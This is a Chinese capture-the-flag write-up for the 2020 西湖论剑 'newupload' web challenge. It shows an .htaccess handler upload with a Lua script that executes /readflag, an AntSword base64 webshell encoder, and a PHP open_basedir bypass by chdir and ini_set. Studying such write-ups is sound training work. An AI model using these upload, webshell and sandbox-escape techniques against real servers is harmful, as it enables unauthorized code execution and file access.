2020年西湖论剑 newupload
程序员文章站
2022-05-30 14:17:45
...
前言
这道题一共有2种解法,一种是lua来解,一种是FPM来解。不过FPM的解法在复现种遇到了一点障碍,还需要花时间来解决,因此先把lua的解法写下来。
第一种解法
首先我们需要宝塔的waf是一个什么东西。我们可以自己弄一个宝塔来试试,看看nginx里的配置:
可以看到这是一个lua+nginx的waf。如果还想不到Lua,可以利用插件来看看:
Lua和OpenResty也是一个很明显的提示。因此这题的预期解是利用lua。
先上传一个.htaccess文件,内容如下:
AddHandler lua-script .lua
然后再写一个1.lua文件,里面的内容可以上网找一个:
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
最重要的就是这三行:
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
具体有什么用,我只能说,懂得都懂。。。
然后访问这个1.lua,就可以得到flag。
这题看了各位师傅们的WP学到的东西
复现的时候看了很多师傅们的WP,真的学到了很多的东西,因此在这里总结一下。
上传php
直接想办法绕宝塔的waf来传php。。只能说师傅们太强了。
利用换行来绕过waf:
连蚁剑
首先自己弄个编码器,然后改一改:
/**
* php::base64编码器
* Create at: 2020/10/19 11:35:47
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = data[randomID];
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
然后就是传:
然后改UA连就可以了:
绕过open_basedir
通过查看phpinfo(),得知存在open_basedir。
具体绕过姿势如下:
mkdir('feng');
chdir('feng');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
因为disable_function里没有scandir,因此可以进行扫目录。这样就可以成功绕过open_basedir。
第二种解法
还在尝试。。。
上一篇: MiniGUI字体显示原理
推荐阅读